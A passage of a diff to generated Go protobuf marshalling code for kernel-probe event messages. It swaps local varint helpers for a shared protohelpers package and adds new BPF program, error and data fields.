len(m.Permission) copy(dAtA[i:], m.Permission) - i = encodeVarint(dAtA, i, uint64(len(m.Permission))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Permission))) i-- dAtA[i] = 0x22 } if len(m.Flags) > 0 { i -= len(m.Flags) copy(dAtA[i:], m.Flags) - i = encodeVarint(dAtA, i, uint64(len(m.Flags))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Flags))) i-- dAtA[i] = 0x1a } if len(m.Path) > 0 { i -= len(m.Path) copy(dAtA[i:], m.Path) - i = encodeVarint(dAtA, i, uint64(len(m.Path))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Path))) i-- dAtA[i] = 0x12 } if len(m.Mount) > 0 { i -= len(m.Mount) copy(dAtA[i:], m.Mount) - i = encodeVarint(dAtA, i, uint64(len(m.Mount))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Mount))) i-- dAtA[i] = 0xa } @@ -2144,14 +1982,14 @@ func (m *KprobeTruncatedBytes) MarshalToSizedBufferVT(dAtA []byte) (int, error) copy(dAtA[i:], m.unknownFields) } if m.OrigSize != 0 { - i = encodeVarint(dAtA, i, uint64(m.OrigSize)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.OrigSize)) i-- dAtA[i] = 0x10 } if len(m.BytesArg) > 0 { i -= len(m.BytesArg) copy(dAtA[i:], m.BytesArg) - i = encodeVarint(dAtA, i, uint64(len(m.BytesArg))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.BytesArg))) i-- dAtA[i] = 0xa } @@ -2191,7 +2029,7 @@ func (m *KprobeCred) MarshalToSizedBufferVT(dAtA []byte) (int, error) { if len(m.Inheritable) > 0 { var pksize2 int for _, num := range m.Inheritable { - pksize2 += sov(uint64(num)) + pksize2 += protohelpers.SizeOfVarint(uint64(num)) } i -= pksize2 j1 := i @@ -2205,14 +2043,14 @@ func (m *KprobeCred) MarshalToSizedBufferVT(dAtA []byte) (int, error) { dAtA[j1] = uint8(num) j1++ } - i = encodeVarint(dAtA, i, uint64(pksize2)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(pksize2)) i-- dAtA[i] = 0x1a } if len(m.Effective) > 0 { var pksize4 int for _, num := range m.Effective { - pksize4 += sov(uint64(num)) + pksize4 += protohelpers.SizeOfVarint(uint64(num)) } i -= pksize4 j3 := i @@ -2226,14 +2064,14 @@ func (m *KprobeCred) MarshalToSizedBufferVT(dAtA []byte) (int, error) { dAtA[j3] = uint8(num) j3++ } - i = encodeVarint(dAtA, i, uint64(pksize4)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(pksize4)) i-- dAtA[i] = 0x12 } if len(m.Permitted) > 0 { var pksize6 int for _, num := range m.Permitted { - pksize6 += sov(uint64(num)) + pksize6 += protohelpers.SizeOfVarint(uint64(num)) } i -= pksize6 j5 := i @@ -2247,7 +2085,7 @@ func (m *KprobeCred) MarshalToSizedBufferVT(dAtA []byte) (int, error) { dAtA[j5] = uint8(num) j5++ } - i = encodeVarint(dAtA, i, uint64(pksize6)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(pksize6)) i-- dAtA[i] = 0xa } @@ -2287,21 +2125,21 @@ func (m *KprobeLinuxBinprm) MarshalToSizedBufferVT(dAtA []byte) (int, error) { if len(m.Permission) > 0 { i -= len(m.Permission) copy(dAtA[i:], m.Permission) - i = encodeVarint(dAtA, i, uint64(len(m.Permission))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Permission))) i-- dAtA[i] = 0x1a } if len(m.Flags) > 0 { i -= len(m.Flags) copy(dAtA[i:], m.Flags) - i = encodeVarint(dAtA, i, uint64(len(m.Flags))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Flags))) i-- dAtA[i] = 0x12 } if len(m.Path) > 0 { i -= len(m.Path) copy(dAtA[i:], m.Path) - i = encodeVarint(dAtA, i, uint64(len(m.Path))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Path))) i-- dAtA[i] = 0xa } @@ -2341,29 +2179,17 @@ func (m *KprobeCapability) MarshalToSizedBufferVT(dAtA []byte) (int, error) { if len(m.Name) > 0 { i -= len(m.Name) copy(dAtA[i:], m.Name) - i = encodeVarint(dAtA, i, uint64(len(m.Name))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Name))) i-- dAtA[i] = 0x12 } if m.Value != nil { - if vtmsg, ok := interface{}(m.Value).(interface { - MarshalToSizedBufferVT([]byte) (int, error) - }); ok { - size, err := vtmsg.MarshalToSizedBufferVT(dAtA[:i]) - if err != nil { - return 0, err - } - i -= size - i = encodeVarint(dAtA, i, uint64(size)) - } else { - encoded, err := proto.Marshal(m.Value) - if err != nil { - return 0, err - } - i -= len(encoded) - copy(dAtA[i:], encoded) - i = encodeVarint(dAtA, i, uint64(len(encoded))) + size, err := (*wrapperspb.Int32Value)(m.Value).MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err } + i -= size + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0xa } @@ -2406,73 +2232,37 @@ func (m *KprobeUserNamespace) MarshalToSizedBufferVT(dAtA []byte) (int, error) { return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0x22 } if m.Group != nil { - if vtmsg, ok := interface{}(m.Group).(interface { - MarshalToSizedBufferVT([]byte) (int, error) - }); ok { - size, err := vtmsg.MarshalToSizedBufferVT(dAtA[:i]) - if err != nil { - return 0, err - } - i -= size - i = encodeVarint(dAtA, i, uint64(size)) - } else { - encoded, err := proto.Marshal(m.Group) - if err != nil { - return 0, err - } - i -= len(encoded) - copy(dAtA[i:], encoded) - i = encodeVarint(dAtA, i, uint64(len(encoded))) + size, err := (*wrapperspb.UInt32Value)(m.Group).MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err } + i -= size + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0x1a } if m.Owner != nil { - if vtmsg, ok := interface{}(m.Owner).(interface { - MarshalToSizedBufferVT([]byte) (int, error) - }); ok { - size, err := vtmsg.MarshalToSizedBufferVT(dAtA[:i]) - if err != nil { - return 0, err - } - i -= size - i = encodeVarint(dAtA, i, uint64(size)) - } else { - encoded, err := proto.Marshal(m.Owner) - if err != nil { - return 0, err - } - i -= len(encoded) - copy(dAtA[i:], encoded) - i = encodeVarint(dAtA, i, uint64(len(encoded))) + size, err := (*wrapperspb.UInt32Value)(m.Owner).MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err } + i -= size + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0x12 } if m.Level != nil { - if vtmsg, ok := interface{}(m.Level).(interface { - MarshalToSizedBufferVT([]byte) (int, error) - }); ok { - size, err := vtmsg.MarshalToSizedBufferVT(dAtA[:i]) - if err != nil { - return 0, err - } - i -= size - i = encodeVarint(dAtA, i, uint64(size)) - } else { - encoded, err := proto.Marshal(m.Level) - if err != nil { - return 0, err - } - i -= len(encoded) - copy(dAtA[i:], encoded) - i = encodeVarint(dAtA, i, uint64(len(encoded))) + size, err := (*wrapperspb.Int32Value)(m.Level).MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err } + i -= size + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0xa } @@ -2512,19 +2302,71 @@ func (m *KprobeBpfAttr) MarshalToSizedBufferVT(dAtA []byte) (int, error) { if len(m.ProgName) > 0 { i -= len(m.ProgName) copy(dAtA[i:], m.ProgName) - i = encodeVarint(dAtA, i, uint64(len(m.ProgName))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.ProgName))) + i-- + dAtA[i] = 0x1a + } + if m.InsnCnt != 0 { + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.InsnCnt)) + i-- + dAtA[i] = 0x10 + } + if len(m.ProgType) > 0 { + i -= len(m.ProgType) + copy(dAtA[i:], m.ProgType) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.ProgType))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *KprobeBpfProg) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *KprobeBpfProg) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *KprobeBpfProg) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.ProgName) > 0 { + i -= len(m.ProgName) + copy(dAtA[i:], m.ProgName) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.ProgName))) i-- dAtA[i] = 0x1a } if m.InsnCnt != 0 { - i = encodeVarint(dAtA, i, uint64(m.InsnCnt)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.InsnCnt)) i-- dAtA[i] = 0x10 } if len(m.ProgType) > 0 { i -= len(m.ProgType) copy(dAtA[i:], m.ProgType) - i = encodeVarint(dAtA, i, uint64(len(m.ProgType))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.ProgType))) i-- dAtA[i] = 0xa } @@ -2562,26 +2404,26 @@ func (m *KprobePerfEvent) MarshalToSizedBufferVT(dAtA []byte) (int, error) { copy(dAtA[i:], m.unknownFields) } if m.ProbeOffset != 0 { - i = encodeVarint(dAtA, i, uint64(m.ProbeOffset)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.ProbeOffset)) i-- dAtA[i] = 0x20 } if m.Config != 0 { - i = encodeVarint(dAtA, i, uint64(m.Config)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.Config)) i-- dAtA[i] = 0x18 } if len(m.Type) > 0 { i -= len(m.Type) copy(dAtA[i:], m.Type) - i = encodeVarint(dAtA, i, uint64(len(m.Type))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Type))) i-- dAtA[i] = 0x12 } if len(m.KprobeFunc) > 0 { i -= len(m.KprobeFunc) copy(dAtA[i:], m.KprobeFunc) - i = encodeVarint(dAtA, i, uint64(len(m.KprobeFunc))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.KprobeFunc))) i-- dAtA[i] = 0xa } @@ -2621,29 +2463,69 @@ func (m *KprobeBpfMap) MarshalToSizedBufferVT(dAtA []byte) (int, error) { if len(m.MapName) > 0 { i -= len(m.MapName) copy(dAtA[i:], m.MapName) - i = encodeVarint(dAtA, i, uint64(len(m.MapName))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.MapName))) i-- dAtA[i] = 0x2a } if m.MaxEntries != 0 { - i = encodeVarint(dAtA, i, uint64(m.MaxEntries)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.MaxEntries)) i-- dAtA[i] = 0x20 } if m.ValueSize != 0 { - i = encodeVarint(dAtA, i, uint64(m.ValueSize)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.ValueSize)) i-- dAtA[i] = 0x18 } if m.KeySize != 0 { - i = encodeVarint(dAtA, i, uint64(m.KeySize)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.KeySize)) i-- dAtA[i] = 0x10 } if len(m.MapType) > 0 { i -= len(m.MapType) copy(dAtA[i:], m.MapType) - i = encodeVarint(dAtA, i, uint64(len(m.MapType))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.MapType))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *KprobeError) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *KprobeError) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *KprobeError) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Message) > 0 { + i -= len(m.Message) + copy(dAtA[i:], m.Message) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Message))) i-- dAtA[i] = 0xa } @@ -2683,12 +2565,12 @@ func (m *SyscallId) MarshalToSizedBufferVT(dAtA []byte) (int, error) { if len(m.Abi) > 0 { i -= len(m.Abi) copy(dAtA[i:], m.Abi) - i = encodeVarint(dAtA, i, uint64(len(m.Abi))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Abi))) i-- dAtA[i] = 0x12 } if m.Id != 0 { - i = encodeVarint(dAtA, i, uint64(m.Id)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.Id)) i-- dAtA[i] = 0x8 } @@ -2737,7 +2619,7 @@ func (m *KprobeArgument) MarshalToSizedBufferVT(dAtA []byte) (int, error) { if len(m.Label) > 0 { i -= len(m.Label) copy(dAtA[i:], m.Label) - i = encodeVarint(dAtA, i, uint64(len(m.Label))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Label))) i-- dAtA[i] = 0x1 i-- @@ -2755,7 +2637,7 @@ func (m *KprobeArgument_StringArg) MarshalToSizedBufferVT(dAtA []byte) (int, err i := len(dAtA) i -= len(m.StringArg) copy(dAtA[i:], m.StringArg) - i = encodeVarint(dAtA, i, uint64(len(m.StringArg))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.StringArg))) i-- dAtA[i] = 0xa return len(dAtA) - i, nil @@ -2767,7 +2649,7 @@ func (m *KprobeArgument_IntArg) MarshalToVT(dAtA []byte) (int, error) { func (m *KprobeArgument_IntArg) MarshalToSizedBufferVT(dAtA []byte) (int, error) { i := len(dAtA) - i = encodeVarint(dAtA, i, uint64(m.IntArg)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.IntArg)) i-- dAtA[i] = 0x10 return len(dAtA) - i, nil @@ -2785,7 +2667,11 @@ func (m *KprobeArgument_SkbArg) MarshalToSizedBufferVT(dAtA []byte) (int, error) return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x1a + } else { + i = protohelpers.EncodeVarint(dAtA, i, 0) i-- dAtA[i] = 0x1a } @@ -2798,7 +2684,7 @@ func (m *KprobeArgument_SizeArg) MarshalToVT(dAtA []byte) (int, error) { func (m *KprobeArgument_SizeArg) MarshalToSizedBufferVT(dAtA []byte) (int, error) { i := len(dAtA) - i = encodeVarint(dAtA, i, uint64(m.SizeArg)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.SizeArg)) i-- dAtA[i] = 0x20 return len(dAtA) - i, nil @@ -2812,7 +2698,7 @@ func (m *KprobeArgument_BytesArg) MarshalToSizedBufferVT(dAtA []byte) (int, erro i := len(dAtA) i -= len(m.BytesArg) copy(dAtA[i:], m.BytesArg) - i = encodeVarint(dAtA, i, uint64(len(m.BytesArg))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.BytesArg))) i-- dAtA[i] = 0x2a return len(dAtA) - i, nil @@ -2830,7 +2716,11 @@ func (m *KprobeArgument_PathArg) MarshalToSizedBufferVT(dAtA []byte) (int, error return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x32 + } else { + i = protohelpers.EncodeVarint(dAtA, i, 0) i-- dAtA[i] = 0x32 } @@ -2849,7 +2739,11 @@ func (m *KprobeArgument_FileArg) MarshalToSizedBufferVT(dAtA []byte) (int, error return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x3a + } else { + i = protohelpers.EncodeVarint(dAtA, i, 0) i-- dAtA[i] = 0x3a } @@ -2868,7 +2762,11 @@ func (m *KprobeArgument_TruncatedBytesArg) MarshalToSizedBufferVT(dAtA []byte) ( return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x42 + } else { + i = protohelpers.EncodeVarint(dAtA, i, 0) i-- dAtA[i] = 0x42 } @@ -2887,7 +2785,11 @@ func (m *KprobeArgument_SockArg) MarshalToSizedBufferVT(dAtA []byte) (int, error return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x4a + } else { + i = protohelpers.EncodeVarint(dAtA, i, 0) i-- dAtA[i] = 0x4a } @@ -2906,7 +2808,11 @@ func (m *KprobeArgument_CredArg) MarshalToSizedBufferVT(dAtA []byte) (int, error return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x52 + } else { + i = protohelpers.EncodeVarint(dAtA, i, 0) i-- dAtA[i] = 0x52 } @@ -2919,7 +2825,7 @@ func (m *KprobeArgument_LongArg) MarshalToVT(dAtA []byte) (int, error) { func (m *KprobeArgument_LongArg) MarshalToSizedBufferVT(dAtA []byte) (int, error) { i := len(dAtA) - i = encodeVarint(dAtA, i, uint64(m.LongArg)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.LongArg)) i-- dAtA[i] = 0x58 return len(dAtA) - i, nil @@ -2937,7 +2843,11 @@ func (m *KprobeArgument_BpfAttrArg) MarshalToSizedBufferVT(dAtA []byte) (int, er return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x62 + } else { + i = protohelpers.EncodeVarint(dAtA, i, 0) i-- dAtA[i] = 0x62 } @@ -2956,7 +2866,11 @@ func (m *KprobeArgument_PerfEventArg) MarshalToSizedBufferVT(dAtA []byte) (int, return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x6a + } else { + i = protohelpers.EncodeVarint(dAtA, i, 0) i-- dAtA[i] = 0x6a } @@ -2975,7 +2889,11 @@ func (m *KprobeArgument_BpfMapArg) MarshalToSizedBufferVT(dAtA []byte) (int, err return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x72 + } else { + i = protohelpers.EncodeVarint(dAtA, i, 0) i-- dAtA[i] = 0x72 } @@ -2988,7 +2906,7 @@ func (m *KprobeArgument_UintArg) MarshalToVT(dAtA []byte) (int, error) { func (m *KprobeArgument_UintArg) MarshalToSizedBufferVT(dAtA []byte) (int, error) { i := len(dAtA) - i = encodeVarint(dAtA, i, uint64(m.UintArg)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.UintArg)) i-- dAtA[i] = 0x78 return len(dAtA) - i, nil @@ -3006,7 +2924,13 @@ func (m *KprobeArgument_UserNamespaceArg) MarshalToSizedBufferVT(dAtA []byte) (i return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x1 + i-- + dAtA[i] = 0x82 + } else { + i = protohelpers.EncodeVarint(dAtA, i, 0) i-- dAtA[i] = 0x1 i-- @@ -3027,7 +2951,13 @@ func (m *KprobeArgument_CapabilityArg) MarshalToSizedBufferVT(dAtA []byte) (int, return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x1 + i-- + dAtA[i] = 0x8a + } else { + i = protohelpers.EncodeVarint(dAtA, i, 0) i-- dAtA[i] = 0x1 i-- @@ -3048,7 +2978,13 @@ func (m *KprobeArgument_ProcessCredentialsArg) MarshalToSizedBufferVT(dAtA []byt return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x1 + i-- + dAtA[i] = 0x9a + } else { + i = protohelpers.EncodeVarint(dAtA, i, 0) i-- dAtA[i] = 0x1 i-- @@ -3069,7 +3005,13 @@ func (m *KprobeArgument_UserNsArg) MarshalToSizedBufferVT(dAtA []byte) (int, err return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x1 + i-- + dAtA[i] = 0xa2 + } else { + i = protohelpers.EncodeVarint(dAtA, i, 0) i-- dAtA[i] = 0x1 i-- @@ -3090,7 +3032,13 @@ func (m *KprobeArgument_ModuleArg) MarshalToSizedBufferVT(dAtA []byte) (int, err return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x1 + i-- + dAtA[i] = 0xaa + } else { + i = protohelpers.EncodeVarint(dAtA, i, 0) i-- dAtA[i] = 0x1 i-- @@ -3107,7 +3055,7 @@ func (m *KprobeArgument_KernelCapTArg) MarshalToSizedBufferVT(dAtA []byte) (int, i := len(dAtA) i -= len(m.KernelCapTArg) copy(dAtA[i:], m.KernelCapTArg) - i = encodeVarint(dAtA, i, uint64(len(m.KernelCapTArg))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.KernelCapTArg))) i-- dAtA[i] = 0x1 i-- @@ -3123,7 +3071,7 @@ func (m *KprobeArgument_CapInheritableArg) MarshalToSizedBufferVT(dAtA []byte) ( i := len(dAtA) i -= len(m.CapInheritableArg) copy(dAtA[i:], m.CapInheritableArg) - i = encodeVarint(dAtA, i, uint64(len(m.CapInheritableArg))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.CapInheritableArg))) i-- dAtA[i] = 0x1 i-- @@ -3139,7 +3087,7 @@ func (m *KprobeArgument_CapPermittedArg) MarshalToSizedBufferVT(dAtA []byte) (in i := len(dAtA) i -= len(m.CapPermittedArg) copy(dAtA[i:], m.CapPermittedArg) - i = encodeVarint(dAtA, i, uint64(len(m.CapPermittedArg))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.CapPermittedArg))) i-- dAtA[i] = 0x1 i-- @@ -3155,7 +3103,7 @@ func (m *KprobeArgument_CapEffectiveArg) MarshalToSizedBufferVT(dAtA []byte) (in i := len(dAtA) i -= len(m.CapEffectiveArg) copy(dAtA[i:], m.CapEffectiveArg) - i = encodeVarint(dAtA, i, uint64(len(m.CapEffectiveArg))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.CapEffectiveArg))) i-- dAtA[i] = 0x1 i-- @@ -3175,7 +3123,13 @@ func (m *KprobeArgument_LinuxBinprmArg) MarshalToSizedBufferVT(dAtA []byte) (int return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x1 + i-- + dAtA[i] = 0xd2 + } else { + i = protohelpers.EncodeVarint(dAtA, i, 0) i-- dAtA[i] = 0x1 i-- @@ -3196,7 +3150,13 @@ func (m *KprobeArgument_NetDevArg) MarshalToSizedBufferVT(dAtA []byte) (int, err return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x1 + i-- + dAtA[i] = 0xda + } else { + i = protohelpers.EncodeVarint(dAtA, i, 0) i-- dAtA[i] = 0x1 i-- @@ -3211,7 +3171,7 @@ func (m *KprobeArgument_BpfCmdArg) MarshalToVT(dAtA []byte) (int, error) { func (m *KprobeArgument_BpfCmdArg) MarshalToSizedBufferVT(dAtA []byte) (int, error) { i := len(dAtA) - i = encodeVarint(dAtA, i, uint64(m.BpfCmdArg)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.BpfCmdArg)) i-- dAtA[i] = 0x1 i-- @@ -3231,7 +3191,13 @@ func (m *KprobeArgument_SyscallId) MarshalToSizedBufferVT(dAtA []byte) (int, err return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x1 + i-- + dAtA[i] = 0xea + } else { + i = protohelpers.EncodeVarint(dAtA, i, 0) i-- dAtA[i] = 0x1 i-- @@ -3252,11 +3218,98 @@ func (m *KprobeArgument_SockaddrArg) MarshalToSizedBufferVT(dAtA []byte) (int, e return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0x1 i-- dAtA[i] = 0xf2 + } else { + i = protohelpers.EncodeVarint(dAtA, i, 0) + i-- + dAtA[i] = 0x1 + i-- + dAtA[i] = 0xf2 + } + return len(dAtA) - i, nil +} +func (m *KprobeArgument_BpfProgArg) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *KprobeArgument_BpfProgArg) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + i := len(dAtA) + if m.BpfProgArg != nil { + size, err := m.BpfProgArg.MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x1 + i-- + dAtA[i] = 0xfa + } else { + i = protohelpers.EncodeVarint(dAtA, i, 0) + i-- + dAtA[i] = 0x1 + i-- + dAtA[i] = 0xfa + } + return len(dAtA) - i, nil +} +func (m *KprobeArgument_ErrorArg) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *KprobeArgument_ErrorArg) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + i := len(dAtA) + if m.ErrorArg != nil { + size, err := m.ErrorArg.MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x2 + i-- + dAtA[i] = 0x82 + } else { + i = protohelpers.EncodeVarint(dAtA, i, 0) + i-- + dAtA[i] = 0x2 + i-- + dAtA[i] = 0x82 + } + return len(dAtA) - i, nil +} +func (m *KprobeArgument_SockaddrunArg) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *KprobeArgument_SockaddrunArg) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + i := len(dAtA) + if m.SockaddrunArg != nil { + size, err := m.SockaddrunArg.MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x2 + i-- + dAtA[i] = 0x8a + } else { + i = protohelpers.EncodeVarint(dAtA, i, 0) + i-- + dAtA[i] = 0x2 + i-- + dAtA[i] = 0x8a } return len(dAtA) - i, nil } @@ -3290,6 +3343,18 @@ func (m *ProcessKprobe) MarshalToSizedBufferVT(dAtA []byte) (int, error) { i -= len(m.unknownFields) copy(dAtA[i:], m.unknownFields) } + if len(m.Data) > 0 { + for iNdEx := len(m.Data) - 1; iNdEx >= 0; iNdEx-- { + size, err := m.Data[iNdEx].MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x72 + } + } if len(m.Ancestors) > 0 { for iNdEx := len(m.Ancestors) - 1; iNdEx >= 0; iNdEx-- { size, err := m.Ancestors[iNdEx].MarshalToSizedBufferVT(dAtA[:i]) @@ -3297,7 +3362,7 @@ func (m *ProcessKprobe) MarshalToSizedBufferVT(dAtA []byte) (int, error) { return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0x6a } @@ -3309,7 +3374,7 @@ func (m *ProcessKprobe) MarshalToSizedBufferVT(dAtA []byte) (int, error) { return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0x62 } @@ -3318,7 +3383,7 @@ func (m *ProcessKprobe) MarshalToSizedBufferVT(dAtA []byte) (int, error) { for iNdEx := len(m.Tags) - 1; iNdEx >= 0; iNdEx-- { i -= len(m.Tags[iNdEx]) copy(dAtA[i:], m.Tags[iNdEx]) - i = encodeVarint(dAtA, i, uint64(len(m.Tags[iNdEx]))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Tags[iNdEx]))) i-- dAtA[i] = 0x5a } @@ -3326,19 +3391,19 @@ func (m *ProcessKprobe) MarshalToSizedBufferVT(dAtA []byte) (int, error) { if len(m.Message) > 0 { i -= len(m.Message) copy(dAtA[i:], m.Message) - i = encodeVarint(dAtA, i, uint64(len(m.Message))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Message))) i-- dAtA[i] = 0x52 } if 